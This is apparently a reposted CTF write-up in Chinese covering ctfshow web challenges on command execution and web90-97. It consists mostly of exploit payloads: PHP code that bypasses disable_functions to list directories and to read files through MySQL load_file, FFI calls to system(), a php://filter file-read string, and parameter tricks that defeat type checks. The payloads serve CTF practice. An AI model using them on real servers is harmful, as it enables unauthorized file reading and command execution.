ctfshow web入门 命令执行+web90-97

admin 2022年1月5日22:54:06CTF专场评论17 views766字阅读2分33秒阅读模式

>

>

ctfshow web入门 命令执行+web90-97

hdxw

命令执行通关playload

实际上是代码执行,用代码读目录和文件内容
参考:https://www.php.net/manual/zh/book.spl.php
以下是绕过disable_funcitons的全通代码,如果要禁用类可以配置disable_classes

读目录

$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

读文件

try {
  $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
  foreach($dbh->query('select load_file("/var/www/html/index.php")') as $row) {
      echo($row[0])."|";
  }
  $dbh = null;
} catch (PDOException $e) {
  echo $e->getMessage();
  die();
}

web77

ffi,php7.4才有

$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("whoami");

web90-95

?num=%204476
?cmd=php%0aphp
?num=0x117c
?num=%20010574
?num=4476.0
?num=%20010574

web96

php://filter/convert.base64-encode/resource=flag.php

web97

a[]=a
b[]=b


Firebasky

师傅 96 也可以使用./flag.php


linxidd

90可以用4476e2


特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:54:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ctfshow web入门 命令执行+web90-97 http://cn-sec.com/archives/719517.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: